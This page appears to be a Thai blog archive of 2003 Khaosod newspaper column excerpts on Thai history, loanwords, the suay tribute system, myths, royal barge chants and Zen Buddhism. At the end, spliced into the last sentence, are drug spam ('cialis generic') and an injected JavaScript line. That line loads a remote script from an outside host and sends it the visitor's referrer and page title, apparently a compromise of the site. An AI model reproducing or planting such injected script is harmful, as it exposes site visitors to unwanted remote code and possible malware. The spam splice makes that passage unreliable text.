หมวดหมู่ ‘ไพร่บ้านพลเมือง’

UNSEEN โคตรช้าง ๑๕ ล้านปี มีไก่ย่างท่าช้าง แม่มูน

ข่าวสด – วันพฤหัสบดีที่ ๓๑ กรกฎาคม ๒๕๔๖

 

UNSEEN โคตรช้าง ๑๕ ล้านปี
มีไก่ย่างท่าช้าง แม่มูน


          ช้างกับนาคไปเกี่ยวข้องกันยังไง? ผมไม่เข้าใจ แต่ในตำนานมีนาคกลายเป็นช้างได้
          เรื่องพระเจ้าพรหมที่นักประวัติศาสตร์สร้างขึ้นมาว่าเป็นมหาราชองค์แรกของไทย ตำราเรียนของกระทรวงศึกษาธิการก็ว่าอย่างนั้น แต่พระเจ้าพรหมไม่มีหลักฐานว่าเป็นเรื่องจริง ทั้งหมดเป็นตำนานหรือนิทานจดเป็นลายลักษณ์อักษรอยู่ในตำนานสิงหวัติของล้านนา เล่าว่าพระเจ้าพรหมเอาฆ้องทองคำ(หรือพานคำ)ไปตีอยู่ริมน้ำแม่สาย (ที่อำเภอแม่สาย จังหวัดเชียงราย) เมื่อนาคได้ยินก็ผุดจากน้ำขึ้นฝั่งกลายเป็นช้างคู่บารมี ชื่อช้างพานคำ ทำให้ขยายอำนาจออกไปกว้างขวาง
          ชื่อช้างพานคำก็ดี ตลอดจนเรื่องราวของพระเจ้าพรหมก็ดี มีโครงเรื่องซ้ำกับตำนานท้าวฮุ่งหรือขุนเจืองจนอาจกล่าวได้ว่าเป็นเรื่องเดียวกัน (เพิ่มเติม…)

ใช้ “เลขฝรั่ง” แทน “เลขเขมร” ไม่เห็นเกี่ยวกับความรักชาติ

ข่าวสด – วันพุธที่ ๓๐ กรกฎาคม ๒๕๔๖

 

ใช้ “เลขฝรั่ง” แทน “เลขเขมร”

ไม่เห็นเกี่ยวกับความรักชาติ

ความหลงชาติ นำไปสู่อาการล้าหลัง-คลั่งชาติ ซึ่งต่างจากความรักชาติ ฉะนั้นอย่าเอารักไปปะปนจนแปดเปื้อนกับหลง

อาการหลงอย่างหนึ่งที่เห็นทั่วไปมานานช้า คือหลงว่าพ่อขุนรามคำแหงประดิษฐ์อักษรไทยแล้วใช้สืบมาจนทุกวันนี้ แต่อธิบายไม่ได้ว่า พ่อขุนรามคำแหงคิดยังไงถึงกำหนดอักขรวิธีให้พยัญชนะกับสระอยู่ในบรรทัดเดียวกันอย่างฝรั่งตะวันตก? แล้วทำไมคนไทยสุโขทัย อยุธยา จนปัจจุบันไม่ตามอย่างพ่อขุน?

มีพวกหลงชาติจำนวนมากพยายามอธิบายไว้เป็นเอกสารและหนังสือหนักเป็นตันๆ แต่ทั้งหมดนั้นเป็นความเห็นส่วนตัว เพราะคำถามที่ใหญ่กว่านั้นคือ พ่อขุนรามคำแหงทรงทำศิลาจารึกหลักนั้นจริงหรือ? แล้วยังตอบไม่ได้ชัดเจน มีแต่ “เดา”

ก็เพราะความหลงส่งผลให้ออกอาการล้าหลัง-คลั่งชาติ เลยพากันส่งเสียงเอะอะเอ็ดตะโรอย่างโก้เก๋เป็นโกลาหล ว่าคนไทยทุกวันนี้ไม่รู้จักเขียนเลขไทยของพ่อขุนรามคำแหง อีกหน่อยก็ไม่เหลือความเป็นไทย เพราะมัวแต่ใช้เลขฝรั่งซึ่งสะดวกกว่า (เพิ่มเติม…)

พูด“ไทยคำฝรั่งคำ” เข้าใจง่ายกว่า“ไทยคำแขกคำ”

ข่าวสด – วันอังคารที่ ๒๙ กรกฎาคม ๒๕๔๖

 

พูด“ไทยคำฝรั่งคำ”

เข้าใจง่ายกว่า“ไทยคำแขกคำ”

         ความรัก เป็นเรื่องดีและสง่างาม ถ้าไม่ลุกลามเป็นความหลง ฉะนั้นเมื่อรัก“ภาษาไทย”ย่อมดีและงาม แต่ต้องหักห้ามไว้ด้วยว่าอย่าหลง

การท้วงติงคนที่พูด“ภาษาไทย”ด้วยลีลาท่าทางไทยคำฝรั่งคำ ย่อมทำได้และควรทำด้วย แต่อย่าขาดเมตตา และความเข้าใจ มิฉะนั้นจะกลายเป็นความหลง ไม่ใช่ความรัก

         คำว่า “ภาษาไทย” ด้วยตัวของภาษาเองก็ไม่ใช่คำไทยทั้งหมด แต่เป็นไทยคำแขกคำ เพราะ“ภาษา”เป็นคำสันสกฤตที่คนพื้นเมืองอุษาคเนย์หรือสุวรรณภูมิรับเอามาใช้พร้อมกับรับศาสนาทั้งพุทธ/พราหมณ์ เช่นเดียวกับคำว่า “อักษร” ก็เป็นคำแขก

“ชาติไทย” “ประเทศไทย” นี่ล้วนเป็นการพูดแบบไทยคำแขกคำทั้งนั้น แต่คนส่วนมากจะลืม ถึงจะรู้ภายหลังก็มักสร้างสิ่งที่เรียกว่า“ยกเว้น”เอาไว้ เพื่อแก้ตัวว่าคำเหล่านี้ใช้นานมาแล้วจนยอมรับเป็นคำไทย (เพิ่มเติม…)

เทวดาขี้โกง “กวนเกษียรสมุทร” รับ “เอเปค” ร่วมปราบอสูร

ข่าวสด – วันศุกร์ที่ ๒๕ กรกฎาคม ๒๕๔๖

 

เทวดาขี้โกง “กวนเกษียรสมุทร”

รับ “เอเปค” ร่วมปราบอสูร

ต้องยกย่องรัฐบาลนี้ว่าเก่งการแสดง “นาฏกรรมสวมหน้ากาก” ที่เลือกจัดชุดกวนเกษียรสมุทรสุดลึกล้ำและอลังการอลงกรณ์

เกษียรสมุทร แปลว่าทะเลน้ำนม เพราะน่านน้ำที่เป็นสมุทรตรงนั้น แทนที่จะเป็นน้ำทะเลเค็มๆ ธรรมดาอย่างที่รู้กัน กลับไม่เป็นอย่างนั้น แต่เป็นน้ำนม ส่วนจะเป็นนมจืด นมหวาน หรือนมเค็ม ไม่มีบอกไว้ในคัมภีร์ มีแต่บอกว่าเป็นหลักแหล่งแห่งหนของพระนารายณ์

เทวดากับอสูร ไม่อยากตายไปตามธรรมดาโลก เลยช่วยกันทำพิธีกวนเกษียรสมุทร คือกวนทะเลน้ำนม เพื่อหาน้ำวิเศษเรียกอมฤต เพราะน้ำนี้มีคุณสมบัติมหัศจรรย์ ใครกินเข้าไปแล้วจะกลายเป็นอมตะ คือไม่ตาย เรื่องนี้มีรูปสลักไว้ที่ปราสาทนครวัดด้วย

เมื่อกวนสำเร็จแล้ว เทวดากับอสูรทำสงครามแย่งชิงน้ำอมฤต นับเป็นสงครามครั้งแรกระหว่างเทวดากับอสูร (เพิ่มเติม…)

“จิ้มก้อง” ไม่ใช่ “จิ้มกล้อง” เพราะยังไม่เคย “ขัดลำกล้อง”

ข่าวสด – วันอังคารที่ ๒๒ กรกฎาคม ๒๕๔๖

 

“จิ้มก้อง” ไม่ใช่ “จิ้มกล้อง”

เพราะยังไม่เคย “ขัดลำกล้อง”

เคยเขียนบอกแล้วว่า ส่วย เป็นระบบเกณฑ์และเก็บทรัพยากร ของไพร่บ้านพลเมืองส่งให้เจ้านาย แต่ยังไม่ได้บอกว่ามีรากจากภาษาจีน ผู้รู้เรื่องนี้บอกว่ากวางตุ้งเรียกซุย ส่วนแต้จิ๋วเรียกส่วย หมายถึงภาษีอากร

สรุป ไทยได้คำว่าส่วยจากจีนแต้จิ๋วมาใช้ หลายชั่วคนจนนับไม่ได้เลยลืม แล้วตีขลุมว่าเป็นคำไทยแท้

คู่กับส่วย มีอีกคำหนึ่งว่าจิ้มก้อง คำนี้ออกจะโบราณเก่าแก่กว่าส่วย แต่ก็ไม่มีพยานหลักฐานอะไรยืนยันได้ชัดเจน นอกจากดูร่องรอยทางประวัติศาสตร์ เศรษฐกิจ-การเมือง ยุคดั้งเดิม

เผอิญอ่านคอลัมน์ผ่าหมาก ในมติชน (หน้า ๙ วันเสาร์ที่ ๑๙ กรกฎาคม ๒๕๔๖) พูดถึงคำจิ้มก้อง แล้วอธิบายไว้ดังนี้

จิ้มกล้อง เป็นคำที่ชาวจีนในสมัยก่อนที่นิยมสูบฝิ่นใช้เรียกกัน เพราะการสูบฝิ่นนั้นจะต้องมีไม้ใช้ทะลวงรูลำกล้องไม่ให้เศษฝิ่นเข้าไปอุดตันเพื่อสะดวกในการสูบฝิ่น (เพิ่มเติม…)

เพลงดนตรี ที่ไม่เป็น “ข้าศึกต่อพรหมจรรย์”

ข่าวสด – วันเสาร์ที่ ๑๙ กรกฎาคม ๒๕๔๖

 

เพลงดนตรี ที่ไม่เป็น

“ข้าศึกต่อพรหมจรรย์”

ตลาดเก่าเยาวราชตอนเช้าตรู่ก่อนพระอาทิตย์ทอแสง ยังไม่มีคนพลุกพล่าน มีแต่แม่ค้าพ่อขายเริ่มเปิดร้าน เตรียมสรรพสิ่งของมากองขาย ขณะนั้นจะได้ยินเสียงสวดมนต์ มีดนตรีแบบจีนเคล้าคลออย่างเคร่งครัดและขรึมขลัง

ไม่ได้ซาบซึ้งรสพระธรรม แต่ชอบดนตรี มีทั้งแบบจีน แบบทิเบต และแบบอื่นๆ หลายหลากมากลีลา เคยคิดว่าจะลองเอาดนตรีไทยใส่ทำนองลำลองไปกับเสียงสวดโอ้เอ้พิหารราย คงครึกครื้นยิ่งนัก เพราะเนื้อหามาจากกาพย์พระไชยสุริยาของสุนทรภู่ แล้วทำนองกระทุ้งกระแทกแดกดันดี

แต่นั่นไม่ใช่หนทางหลุดพ้นสังสาร เพราะไม่ใช่ทางสงบ เลยหยุดไว้ก่อน กลัวจะบ้า ต้องเปิดเพลงคาถาชินบัญชรกับเพลงคาถาพาหุง ของหลวงพี่เสฐียรพงษ์     วรรณปก ลดความฟุ้งซ่านดีนัก

ดนตรีกับศาสนามีคู่กันกับสังคมชาวสยาม มาแต่ยุคดั้งเดิมเริ่มแรกดึกดำบรรพ์ ไม่น้อยกว่า ๓,๐๐๐ ปีมาแล้ว แต่มาหยุดพัฒนาการไปด้วยเหตุใดไม่รู้ได้ เพิ่งเข้าใจเมื่ออ่านเอกสารที่ถอดจากปาฐกถาของ ส. ศิวรักษ์ เรื่องสังคมไทยกับทศวรรษแห่งการจากไปของพระพุทธทาสภิกขุ เมื่อวันที่ ๘ กรกฎาคม ๒๕๔๖ ที่ผ่านมานี้เอง จะขอคัดมาสู่กันอ่านดังนี้ (เพิ่มเติม…)

“ซ่อง”ในกรุงศรีอยุธยา รับจ้างทำชำเราแก่บุรุษ

ข่าวสด – วันศุกร์ที่ ๑๘ กรกฎาคม ๒๕๔๖

 

“ซ่อง”ในกรุงศรีอยุธยา

รับจ้างทำชำเราแก่บุรุษ

“ซ่อง” ก็มีประวัติศาสตร์ เพียงแต่ยังไม่มีใครวิจัย หรือทำวิทยานิพนธ์อย่างจริงจังในหัวข้อ ประวัติศาสตร์ซ่อง ในสยามประเทศ

นักประวัติศาสตร์ไทยรู้จักซ่องในอดีตแค่รัชกาลที่ ๔ เพราะมีกฎหมายตราเป็นบันทัดฐาน และมีเอกสารพูดถึงหญิงนครโสเภณี เช่น หญิงโคมเขียวบ้าง ยายแพ่งแม่เจ้าทำบุญสร้างวัดบ้าง เท่านั้น

แต่ยังไม่มีใครวิเคราะห์เจาะลึกเข้าไปถึงกรุงศรีอยุธยา ราชธานีแห่งราชอาณาจักรสยามแห่งแรกในประวัติศาสตร์ไทยว่ามี“ซ่อง”บ้างหรือไม่? (เพิ่มเติม…)

“ส่วยน้ำ” ส่งให้ “ขอม” “ส่วยน้ำกาม” ส่งให้ใคร?

ข่าวสด – วันพฤหัสบดีที่ ๑๗ กรกฎาคม ๒๕๔๖

 

“ส่วยน้ำ” ส่งให้ “ขอม”

“ส่วยน้ำกาม” ส่งให้ใคร?

 

ส่วย เป็นระบบเกณฑ์และเก็บทรัพยากรอันเป็นทุนทางสังคมและวัฒนธรรมของไพร่บ้านพลเมือง ส่งให้แก่เจ้านาย ระบบส่วยดังกล่าวมีตั้งแต่ยุคดึกดำบรรพ์นานมาแล้ว นานก่อนสมัยกรุงศรีอยุธยา และมีทั่วไปทั้งภูมิภาคอุษาคเนย์ แต่จะเรียกส่วยหรือเรียกอย่างอื่นต่างกันไป

ส่วยมี ๒ อย่าง คือ ส่วยแรง กับ ส่วยสิ่งของ

ส่วยแรง เป็นส่วยเก่าสุด คือพวกไพร่บ้านพลเมืองถูกเกณฑ์ไปทำงานรับใช้เจ้านายต้นสังกัดตามระยะเวลาที่กำหนด เช่น เดือนเว้นเดือน เรียก“เข้าเดือนออกเดือน” ตกปีละ ๖ เดือน ต้องส่งส่วยแรงไปทำงานรับใช้ฟรีๆ ไม่มีค่าตอบแทน ต้องหาข้าวกินเอง

ส่วยสิ่งของ คือพวกไพร่บ้านพลเมืองที่อยู่ห่างไกลในป่าดงพงพี จะเอาตัวมาทำงานใช้แรงรับใช้ก็ลำบาก เลยต้องส่งเป็นสิ่งของที่มีในย่านนั้น เช่น ครั่ง, ฝาง, ไม้เนื้อหอม(อย่างกฤษณา) เป็นต้น ต่อมาพวกไพร่หนีเกณฑ์มากขึ้น เพราะทำงานหนัก และรับใช้เจ้านายจนไม่มีช่องทางทำมาหากินให้ตัวเองและครอบครัว เจ้านายเลยผ่อนผันให้ส่งเป็นเงินแทนแรงก็ได้ จึงมีส่วยเงิน สำหรับไพร่ในเมืองที่มีรายได้เป็นเงินบ้างแล้ว

แต่พวก“เขมรป่าดง”ซึ่งเป็นข่า จากฝังซ้ายแม่น้ำโขง ที่กระจายตั้งหลักแหล่งเข้ามาถึงบริเวณลุ่มน้ำมูน-ชี แถบสุรินทร์ ศรีสะเกษ บุรีรัมย์ ต้องส่งส่วยสิ่งของหลายอย่าง รวมทั้งส่วยทอง(คำ) ที่มีมากแถวอัตตะปือ-จำปาสัก คนเมืองหลวงที่กรุงเทพฯ เลยเรียก“เขมรป่าดง”พวกนี้ว่าส่วย สืบมาถึงทุกวันนี้ (เพิ่มเติม…)

โบ๊ต อะฮอย ! เห่มาในแม่น้ำ งามชดช้อยลอยหลังสินธุ์

ข่าวสด – วันพุธที่ ๑๖ กรกฎาคม ๒๕๔๖

 

โบ๊ต อะฮอย ! เห่มาในแม่น้ำ

งามชดช้อยลอยหลังสินธุ์

ขบวนเรือในการเสด็จพยุหยาตราทางชลมารค แสดงให้เห็นพิธีกรรมอันยิ่งใหญ่อลังการ มาแต่ครั้งกรุงศรีอยุธยา ดังปรากฏในรูปวาดและเอกสารชาวยุโรปที่เขียนพรรณนาไว้ แล้วยังสืบทอดประเพณีพิธีกรรมมาจนปัจจุบัน

เจ้าฟ้าธรรมาธิเบศร์ หรือ เจ้าฟ้ากุ้ง ทรงพระนิพนธ์บทเห่เรือด้วยกาพย์ยานี ถือเป็นกวีนิพนธ์เยี่ยมยอดยิ่งยศแห่งยุคทีเดียว แต่ไม่มีหลักฐานว่าเคยใช้เห่เรือจริงๆ ในสมัยปลายกรุงศรีอยุธยา อีกทั้งเนื้อหาบทเห่เรือก็ดูจะไม่ใช้เห่ หากใช้กล่อมมากกว่า คืออ่านกล่อมคนข้างเคียงต่างเพศ

แต่นั่นไม่ใช่ประเด็นสำคัญตอนนี้ ขอตั้งข้อสังเกตให้นักวิชาการตลอดจนผู้รู้ทั้งหลายเอาไปคิดดู หรือไม่คิดก็ได้

ถึงอย่างไรผมก็ต้องเนื้อเจริญใจเห่เรือของกองทัพเรือ ที่ น.อ.มงคล แสงสว่าง เป็นต้นเสียงเห่ทุกครั้ง เพราะมี“ลูกคอ”อย่างพื้นเมืองเก่าแก่แท้จริง ต่างจากเห่เรือของกรมศิลปากร ที่เรียกว่า“เห่เรือละคร” คือไม่ใช่ของแท้ แต่เป็นของเทียม ทำเพื่อเล่นละครเท่านั้น (เพิ่มเติม…)

ZEN กับ SIGN เส้นทางสายไหนล่ะ – เซน?

ข่าวสด – วันจันทร์ที่ ๑๔ กรกฎาคม ๒๕๔๖

 

ZEN กับ SIGN

เส้นทางสายไหนล่ะ – เซน?

“เด็กวัด” หรือ “ ศิษย์วัด” มีความหมายอย่างเดียวกันกับ “อารามบอย” ที่พี่ปุ๊ รงค์ วงษ์สวรรค์ ผูกคำใหม่มาใช้อย่างเสเพลบอยข้างวัดที่มีรสนิยมภาษาอุบัติ (ฝ่ายตรงข้ามกับวิบัติ)

ผมมีสิทธิ์สมัครเป็นประธานชมรมเด็กวัด แห่งอะไรสักอย่าง เพราะใช้วิชาชีพมาตั้งแต่เรียนระดับประถมศึกษาบ้านนอกคอกนา จนต้องเกาะชายผ้าเหลืองเข้ามาเรียนต่อในกรุงเทพฯ ก็ยังใช้วิชาชีพนั้น คืออาศัยข้าวก้นบาตรกินอย่างต่อเนื่องกระทั่งเรียนมหาวิทยาลัยก็ไม่เว้น เพราะไม่มีช่องทางอย่างอื่น เลยต้องยึดความเป็น “อารามบอย” ไว้อย่างเหนียวแน่น

เด็กวัดอย่างผมเหมือนคนๆ หนึ่งที่ “แก่เพราะกินข้าว เฒ่าเพราะอยู่นาน” คือ ไม่รู้รสพระธรรม จำได้แต่ “ธรรมะ คือ คุณากร—-“ แล้วอะไรต่อไปอีกนึกไม่ออกซึ่งเป็นอย่าง “นกไม่เห็นฟ้า ปลาไม่เห็นน้ำ” ที่รู้แน่ๆ คือ เข้าพรรษา กับ ออกพรรษา เพราะหลวงพี่บิณฑบาตได้กับข้าวและขนมล้นบาตร เก็บไว้กินได้หลายวัน ถ้าไม่บูดเสียก่อน

แต่แล้ววันหนึ่งก็มีคนชื่อ ขรรค์ชัย บุนปาน ชวนให้อ่านหนังสือปาฐกถาธรรมของท่านพุทธทาสที่ผมไม่เคยรู้จัก ไม่เคยได้ยินชื่อ อ่านแล้วก็ไม่เข้าใจ ไม่ “เก็ต” ต้องฟังคำอธิบายเพิ่มเติมจากขรรค์ชัย ถึงจะรู้ “สเล็กสน้อย” ขึ้นทีละนิดๆ เอาเป็นจริงเป็นจังไม่ได้

ไม่ใช่บัวแล้งน้ำ แต่เป็นบัวใต้น้ำต่ำเตี้ยในโคลนตม ขรรค์ชัยเลยโปรดสัตว์โดยเอาหนังสือ สูตรของเว่ยหล่าง มาให้อ่านอีก อ่านแล้วสนุก เพราะเลือกอ่านเฉพาะโศลกกับบทสนทนาสั้นๆ อย่างไม่รู้เลยว่าหนังสือเล่มนี้คืออะไร? มาจากไหน? ใครแต่ง? ใครแปล? จำได้แต่ต้นโพธิ์ กระจก ฝุ่นละออง และใบไม้ไม่ได้ไหว แต่ใจไหว

ครั้งหนึ่ง เฮียเถียน เสถียร จันทิมาธร ทนเห็นความดักดานของผมไม่ได้เลยแนะนำให้อ่าน ศิษย์โง่ไปเรียนเซน ที่เขาถือไปให้ดูอยู่ที่วัดนั่นแหละ อ่านแล้วถึงรู้ตัวว่า กูนี่มันโง่จริงๆ ว่ะ ศิษย์โง่ๆ ว่าโง่แล้ว กูยังโง่กว่าศิษย์โง่อีก

         จนเมื่อไม่กี่วันมานี้เอง เห็นหนังสือของเฮียเถียน ชื่อ เส้นทางสาย ZEN จากปรมาจารย์ “ตั้กม้อ” ถึง “เว่ยหล่าง” ก็รำลึกชาติถึงช่วงอารามบอยอย่างอัตโนมัติ ต้องเปิดอ่านอย่างโหยหา แต่ยิ่งอ่านยิ่งโหยหิว เพราะกังวลวาบหวิวไปกับกวีโวหารของท่านพี่จนวุ่นวาย แล้วไม่แน่ใจตัวเองว่าอ่านรู้เรื่องและเข้าใจแน่หรือ?

จะเข้าใจหรือไม่เข้าใจยังไงก็ได้ แต่อย่างน้อยเมื่ออ่านแล้วมันกระตุกต่อมให้คิดถึงเมื่อแรกพระพุทธศาสนาแผ่มาถึงสุวรรณภูมินั้น นอกจาก “คาถา เย ธัมมา” ที่มีจารึกเป็นหลักฐานแล้ว พระโสณะกับพระอุตระ เริ่มสอน “ศิษย์โง่” คือพวกคนพื้นเมืองที่ยังบูชาพญานาค ด้วยธรรมะอะไร? สอนอย่างมหายาน หรือหินยาน?

อาจารย์บางท่านบอกว่ายังไม่แยกชัดเจนเป็นมหายานหรือหินยาน แต่ประสมกันอยู่ทั้ง ๒ อย่าง แล้วมีชื่อเรียกสรรวาสตวาทิน ซึ่งฟังแล้วงงอยู่นั่นเอง เลยคิดต่อไปไม่ได้

เมื่อคิดต่อไปไม่ได้ แล้วจะเขียนต่อไปได้ยังไง เพราะ “ถ้าไม่มีความสงสัย ก็ไม่มีความเห็นแจ้ง” นี่แหละเซ็น

แต่ “ศิษย์โง่” อย่างผมถนัดแต่สอย   คือรู้จักเซนที่เป็น SIGN แต่ไม่เข้าใจ เซนที่เป็น ZENfluoxetine cap 20mg cialis generic s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;